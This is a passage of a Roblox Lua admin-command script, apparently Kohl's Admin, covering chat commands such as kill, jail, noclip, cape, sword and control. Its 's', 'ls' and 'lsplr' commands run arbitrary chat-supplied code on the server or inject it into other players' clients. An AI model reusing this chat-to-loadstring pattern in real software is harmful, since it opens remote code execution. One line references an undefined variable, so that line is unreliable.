  439. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  440. end end
  441.  
  442. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  443. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  444. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  445. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  446. end
  447.  
  448. if msg:lower() == "tools" or msg:lower() == "toollist" then
  449. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  450. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  451. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  452. end
  453.  
  454. if msg:lower():sub(1,2) == "s " then
  455. coroutine.resume(coroutine.create(function()
  456. Output(msg:sub(3), plr)
  457. if script:findFirstChild("ScriptBase") then
  458. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  459. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  460. else loadstring(msg:sub(3))()
  461. end
  462. end))
  463. end
  464.  
  465. if msg:lower():sub(1,3) == "ls " then
  466. coroutine.resume(coroutine.create(function()
  467. if script:findFirstChild("LocalScriptBase") then
  468. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  469. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  470. end
  471. end))
  472. end
  473.  
  474. if msg:lower():sub(1,6) == "lsplr " then
  475. local chk1 = msg:lower():sub(7):find(" ") + 6
  476. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  477. for i, v in pairs(plrz) do
  478. coroutine.resume(coroutine.create(function()
  479. if v and v:findFirstChild("PlayerGui") then
  480. if script:findFirstChild("LocalScriptBase") then
  481. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  482. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  483. end
  484. end
  485. end))
  486. end
  487. end
  488.  
  489. if msg:lower():sub(1,4) == "ins " then
  490. coroutine.resume(coroutine.create(function()
  491. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  492. if obj and #obj:children() >= 1 and plr.Character then
  493. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  494. end
  495. end))
  496. end
  497.  
  498. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  499. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  500. RemoveMessage()
  501. objects = {}
  502. end
  503.  
  504. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  505. game.Lighting.Ambient = origsettings.abt
  506. game.Lighting.Brightness = origsettings.brt
  507. game.Lighting.TimeOfDay = origsettings.time
  508. game.Lighting.FogColor = origsettings.fclr
  509. game.Lighting.FogEnd = origsettings.fe
  510. game.Lighting.FogStart = origsettings.fs
  511. for i, v in pairs(lobjs) do v:Destroy() end
  512. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  513. end
  514.  
  515. if msg:lower() == "l" or msg:lower() == "cmdgui" then
  516. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  517. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  518. local box = Instance.new("TextBox", scr) box.Name = "Box" box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  519. local cl = script.LocalScriptBase:Clone()
  520. local cmd = Instance.new("StringValue", scr) cmd.Name = "Command"
  521. cl.Name = "CMDBAR"
  522. cl.Code.Value = [[ scr = script.Parent box = scr:FindFirstChild("Box") cmd = scr.Command box.FocusLost:connect(function() cmd.Value = box.Text end) ]]
  523. cl.Parent = scr
  524. cl.Disabled = false
  525. cmd.Changed:connect(function(p) if box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) wait(0.01) box.Text = "Type a command, then press enter." end end)
  526. end
  527. end
  528.  
  529. if msg:lower():sub(1,10) == "countdown " then
  530. local num = math.min(tonumber(msg:sub(11)),120)
  531. for i = num, 1, -1 do
  532. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  533. wait(1)
  534. end
  535. end
  536.  
  537. if msg:lower():sub(1,3) == "tm " then
  538. local chk1 = msg:lower():sub(4):find(" ") + 3
  539. local num = tonumber(msg:sub(4,chk1-1))
  540. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  541. end
  542.  
  543. if msg:lower():sub(1,2) == "m " then
  544. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  545. end
  546.  
  547. if msg:lower():sub(1,2) == "h " then
  548. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  549. end
  550.  
  551. if msg:lower():sub(1,3) == "pm " then
  552. local chk1 = msg:lower():sub(4):find(" ") + 3
  553. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  554. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  555. end
  556.  
  557. if msg:lower():sub(1,11) == "resetstats " then
  558. local plrz = GetPlr(plr, msg:lower():sub(12))
  559. for i, v in pairs(plrz) do
  560. coroutine.resume(coroutine.create(function()
  561. if v and v:findFirstChild("leaderstats") then
  562. for a, q in pairs(v.leaderstats:children()) do
  563. if q:IsA("IntValue") then q.Value = 0 end
  564. end
  565. end
  566. end))
  567. end
  568. end
  569.  
  570. if msg:lower():sub(1,5) == "gear " then
  571. local chk1 = msg:lower():sub(6):find(" ") + 5
  572. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  573. for i, v in pairs(plrz) do
  574. coroutine.resume(coroutine.create(function()
  575. if v and v:findFirstChild("Backpack") then
  576. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  577. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  578. obj:Destroy()
  579. end
  580. end))
  581. end
  582. end
  583.  
  584. if msg:lower():sub(1,4) == "hat " then
  585. local chk1 = msg:lower():sub(5):find(" ") + 4
  586. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  587. for i, v in pairs(plrz) do
  588. coroutine.resume(coroutine.create(function()
  589. if v and v.Character then
  590. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  591. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  592. obj:Destroy()
  593. end
  594. end))
  595. end
  596. end
  597.  
  598. if msg:lower():sub(1,5) == "cape " then
  599. local chk1 = msg:lower():sub(6):find(" ")
  600. local plrz = GetPlr(plr, msg:lower():sub(6))
  601. local str = "torso.BrickColor"
  602. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  603. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  604. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  605. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  606. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  607. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  608. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  609. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  610. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  611. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  612. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  613. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  614. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  615. if BrickColor.new(teststr) ~= nil then str = teststr end
  616. end
  617. for i, v in pairs(plrz) do
  618. coroutine.resume(coroutine.create(function()
  619. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  620. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  621. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  622. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  623. local torso = plr.Character.Torso
  624. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  625. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  626. p.Size = Vector3.new(.2,.2,.2)
  627. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  628. local motor1 = Instance.new("Motor", p)
  629. motor1.Part0 = p
  630. motor1.Part1 = torso
  631. motor1.MaxVelocity = .01
  632. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  633. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  634. local wave = false
  635. repeat wait(1/44)
  636. local ang = 0.1
  637. local oldmag = torso.Velocity.magnitude
  638. local mv = .002
  639. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  640. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  641. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  642. motor1.DesiredAngle = -ang
  643. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  644. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  645. if torso.Velocity.magnitude < .1 then wait(.1) end
  646. until not p or p.Parent ~= torso.Parent
  647. script:Destroy()
  648. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  649. end
  650. end))
  651. end
  652. end
  653.  
  654. if msg:lower():sub(1,7) == "uncape " then
  655. local plrz = GetPlr(plr, msg:lower():sub(8))
  656. for i, v in pairs(plrz) do
  657. coroutine.resume(coroutine.create(function()
  658. if v and v:findFirstChild("PlayerGui") and v.Character then
  659. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  660. end
  661. end))
  662. end
  663. end
  664.  
  665. if msg:lower():sub(1,7) == "noclip " then
  666. local plrz = GetPlr(plr, msg:lower():sub(8))
  667. for i, v in pairs(plrz) do
  668. coroutine.resume(coroutine.create(function()
  669. if v and v:findFirstChild("PlayerGui") then
  670. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  671. cl.Parent = v.PlayerGui cl.Disabled = false
  672. end
  673. end))
  674. end
  675. end
  676.  
  677. if msg:lower():sub(1,5) == "clip " then
  678. local plrz = GetPlr(plr, msg:lower():sub(6))
  679. for i, v in pairs(plrz) do
  680. coroutine.resume(coroutine.create(function()
  681. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  682. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  683. v.Character.Torso.Anchored = false
  684. wait(.1) v.Character.Humanoid.PlatformStand = false
  685. end
  686. end))
  687. end
  688. end
  689.  
  690. if msg:lower():sub(1,5) == "jail " then
  691. local plrz = GetPlr(plr, msg:lower():sub(6))
  692. for i, v in pairs(plrz) do
  693. coroutine.resume(coroutine.create(function()
  694. if v and v.Character and v.Character:findFirstChild("Torso") then
  695. local vname = v.Name
  696. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  697. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  698. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  699. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  700. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  701. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  702. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  703. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  704. end)
  705. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  706. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  707. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  708. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  709. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  710. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  711. local msh2 = msh:Clone() msh2.Parent = back
  712. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  713. local msh4 = msh3:Clone() msh4.Parent = left
  714. v.Character.Torso.CFrame = cf
  715. end
  716. end))
  717. end
  718. end
  719.  
  720. if msg:lower():sub(1,7) == "unjail " then
  721. local plrz = GetPlr(plr, msg:lower():sub(8))
  722. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  723. end
  724.  
  725. if msg:lower():sub(1,11) == "starttools " then
  726. local plrz = GetPlr(plr, msg:lower():sub(12))
  727. for i, v in pairs(plrz) do
  728. coroutine.resume(coroutine.create(function()
  729. if v and v:findFirstChild("Backpack") then
  730. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  731. end
  732. end))
  733. end
  734. end
  735.  
  736. if msg:lower():sub(1,6) == "sword " then
  737. local plrz = GetPlr(plr, msg:lower():sub(7))
  738. for i, v in pairs(plrz) do
  739. coroutine.resume(coroutine.create(function()
  740. if v and v:findFirstChild("Backpack") then
  741. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  742. sword.GripForward = Vector3.new(-1,0,0)
  743. sword.GripPos = Vector3.new(0,0,-1.5)
  744. sword.GripRight = Vector3.new(0,1,0)
  745. sword.GripUp = Vector3.new(0,0,1)
  746. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  747. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  748. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  749. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  750. local Damage = 15
  751. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  752. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  753. SlashSound.Volume = 1
  754. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  755. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  756. LungeSound.Volume = 1
  757. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  758. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  759. UnsheathSound.Volume = 1
  760. local last = 0
  761. script.Parent.Handle.Touched:connect(function(hit)
  762. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  763. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  764. hit.Parent.Humanoid:TakeDamage(Damage)
  765. end
  766. end)
  767. script.Parent.Activated:connect(function()
  768. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  769. script.Parent.Enabled = false
  770. local tick = game:service("RunService").Stepped:wait()
  771. if tick - last <= .2 then
  772. LungeSound:play()
  773. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  774. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  775. wait(.2)
  776. script.Parent.GripForward = Vector3.new(0,0,1)
  777. script.Parent.GripRight = Vector3.new(0,-1,0)
  778. script.Parent.GripUp = Vector3.new(-1,0,0)
  779. wait(.3)
  780. frc:Destroy() wait(.5)
  781. script.Parent.GripForward = Vector3.new(-1,0,0)
  782. script.Parent.GripRight = Vector3.new(0,1,0)
  783. script.Parent.GripUp = Vector3.new(0,0,1)
  784. else
  785. SlashSound:play()
  786. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  787. end
  788. last = tick
  789. script.Parent.Enabled = true
  790. end)
  791. script.Parent.Equipped:connect(function(mouse)
  792. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  793. UnsheathSound:play()
  794. script.Parent.Enabled = true
  795. if not mouse then return end
  796. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  797. end)]] cl.Disabled = false
  798. end
  799. end))
  800. end
  801. end
  802.  
  803. if msg:lower():sub(1,6) == "clone " then
  804. local plrz = GetPlr(plr, msg:lower():sub(7))
  805. for i, v in pairs(plrz) do
  806. coroutine.resume(coroutine.create(function()
  807. if v and v.Character then
  808. v.Character.Archivable = true
  809. local cl = v.Character:Clone()
  810. table.insert(objects,cl)
  811. cl.Parent = game.Workspace
  812. cl:MoveTo(v.Character:GetModelCFrame().p)
  813. cl:MakeJoints()
  814. v.Character.Archivable = false
  815. end
  816. end))
  817. end
  818. end
  819.  
  820. if msg:lower():sub(1,8) == "control " then
  821. local plrz = GetPlr(plr, msg:lower():sub(9))
  822. for i, v in pairs(plrz) do
  823. coroutine.resume(coroutine.create(function()
  824. if v and v.Character then
  825. v.Character.Humanoid.PlatformStand = true
  826. local w = Instance.new("Weld", plr.Character.Torso )
  827. w.Part0 = plr.Character.Torso
  828. w.Part1 = v.Character.Torso
  829. local w2 = Instance.new("Weld", plr.Character.Head)
  830. w2.Part0 = plr.Character.Head
  831. w2.Part1 = v.Character.Head
  832. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  833. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  834. w3.Part1 = v.Character:findFirstChild("Right Arm")
  835. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  836. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  837. w4.Part1 = v.Character:findFirstChild("Left Arm")
  838. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  839. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  840. w5.Part1 = v.Character:findFirstChild("Right Leg")
  841. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  842. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  843. w6.Part1 = v.Character:findFirstChild("Left Leg")
  844. plr.Character.Head.face:Destroy()
  845. for i, p in pairs(v.Character:children()) do
  846. if p:IsA("BasePart") then
  847. p.CanCollide = false
  848. end
  849. end
  850. for i, p in pairs(plr.Character:children()) do
  851. if p:IsA("BasePart") then
  852. p.Transparency = 1
  853. elseif p:IsA("Hat") then
  854. p:Destroy()
  855. end
  856. end
  857. v.Character.Parent = plr.Character
  858. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  859. end
  860. end))
  861. end
  862. end
  863.  
  864. if msg:lower():sub(1,5) == "kill " then
  865. local plrz = GetPlr(plr, msg:lower():sub(6))
  866. for i, v in pairs(plrz) do
  867. coroutine.resume(coroutine.create(function()
  868. if v and v.Character then v.Character:BreakJoints() end
  869. end))
  870. end
  871. end
  872.  
  873. if msg:lower():sub(1,8) == "respawn " then
  874. local plrz = GetPlr(plr, msg:lower():sub(9))
  875. for i, v in pairs(plrz) do
  876. coroutine.resume(coroutine.create(function()
  877. if v and v.Character then v:LoadCharacter() end
  878. end))
  879. end
  880. end
  881.  
  882. if msg:lower():sub(1,5) == "trip " then
  883. local plrz = GetPlr(plr, msg:lower():sub(6))
  884. for i, v in pairs(plrz) do
  885. coroutine.resume(coroutine.create(function()
  886. if v and v.Character and v.Character:findFirstChild("Torso") then
  887. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  888. end
  889. end))
  890. end
  891. end
  892.  
  893. if msg:lower():sub(1,5) == "stun " then
  894. local plrz = GetPlr(plr, msg:lower():sub(6))
  895. for i, v in pairs(plrz) do
  896. coroutine.resume(coroutine.create(function()
  897. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  898. v.Character.Humanoid.PlatformStand = true
  899. end
  900. end))
  901. end
  902. end
  903.  
  904. if msg:lower():sub(1,7) == "unstun " then
  905. local plrz = GetPlr(plr, msg:lower():sub(8))
  906. for i, v in pairs(plrz) do
  907. coroutine.resume(coroutine.create(function()
  908. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  909. v.Character.Humanoid.PlatformStand = false
  910. end
  911. end))
  912. end
  913. end
  914.  
  915. if msg:lower():sub(1,5) == "jump " then
  916. local plrz = GetPlr(plr, msg:lower():sub(6))
  917. for i, v in pairs(plrz) do
  918. coroutine.resume(coroutine.create(function()
  919. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  920. v.Character.Humanoid.Jump = true
  921. end
  922. end))
  923. end
  924. end
  925.  
  926. if msg:lower():sub(1,4) == "sit " then
  927. local plrz = GetPlr(plr, msg:lower():sub(5))
  928. for i, v in pairs(plrz) do
  929. coroutine.resume(coroutine.create(function()
  930. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  931. v.Character.Humanoid.Sit = true
  932. end
  933. end))
  934. end
  935. end
  936.  
  937. if msg:lower():sub(1,10) == "invisible " then
  938. local plrz = GetPlr(plr, msg:lower():sub(11))
  939. for i, v in pairs(plrz) do
  940. coroutine.resume(coroutine.create(function()
  941. if v and v.Character then
  942. for a, obj in pairs(v.Character:children()) do
  943. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  944. end
  945. end
  946. end))
  947. end
  948. end
  949.  
  950. if msg:lower():sub(1,8) == "visible " then
  951. local plrz = GetPlr(plr, msg:lower():sub(9))
  952. for i, v in pairs(plrz) do
  953. coroutine.resume(coroutine.create(function()
  954. if v and v.Character then
  955. for a, obj in pairs(v.Character:children()) do
  956. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  957. end
  958. end
  959. end))
  960. end
  961. end
  962.  
  963. if msg:lower():sub(1,5) == "lock " then
  964. local plrz = GetPlr(plr, msg:lower():sub(6))
  965. for i, v in pairs(plrz) do
  966. coroutine.resume(coroutine.create(function()
  967. if v and v.Character then
  968. for a, obj in pairs(v.Character:children()) do
  969. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  970. end
  971. end
  972. end))
  973. end
  974. end
  975.  
  976. if msg:lower():sub(1,7) == "unlock " then
  977. local plrz = GetPlr(plr, msg:lower():sub(8))
  978. for i, v in pairs(plrz) do
  979. coroutine.resume(coroutine.create(function()
  980. if v and v.Character then
  981. for a, obj in pairs(v.Character:children()) do
  982. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  983. end
  984. end
  985. end))
  986. end
  987. end
  988.  
  989. if msg:lower():sub(1,8) == "explode " then
  990. local plrz = GetPlr(plr, msg:lower():sub(9))
  991. for i, v in pairs(plrz) do
  992. coroutine.resume(coroutine.create(function()
  993. if v and v.Character and v.Character:findFirstChild("Torso") then
  994. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  995. end
  996. end))
  997. end
  998. end
  999.  
  1000. if msg:lower():sub(1,4) == "age " then
  1001. local plrz = GetPlr(plr, msg:lower():sub(5))
  1002. for i, v in pairs(plrz) do
  1003. coroutine.resume(coroutine.create(function()
  1004. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1005. end))
  1006. end
  1007. end
  1008.  
  1009. if msg:lower():sub(1,5) == "fire " then
  1010. local plrz = GetPlr(plr, msg:lower():sub(6))
  1011. for i, v in pairs(plrz) do
  1012. coroutine.resume(coroutine.create(function()
  1013. if v and v.Character and v.Character:findFirstChild("Torso") then
  1014. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1015. end
  1016. end))
  1017. end
  1018. end
  1019.  
  1020. if msg:lower():sub(1,7) == "unfire " then
  1021. local plrz = GetPlr(plr, msg:lower():sub(8))
  1022. for i, v in pairs(plrz) do
  1023. coroutine.resume(coroutine.create(function()
  1024. if v and v.Character and v.Character:findFirstChild("Torso") then
  1025. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1026. end
  1027. end))
  1028. end
  1029. end
  1030.  
  1031. if msg:lower():sub(1,6) == "smoke " then
  1032. local plrz = GetPlr(plr, msg:lower():sub(7))
  1033. for i, v in pairs(plrz) do
  1034. coroutine.resume(coroutine.create(function()
  1035. if v and v.Character and v.Character:findFirstChild("Torso") then
  1036. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1037. end
  1038. end))
  1039. end
  1040. end
  1041.  
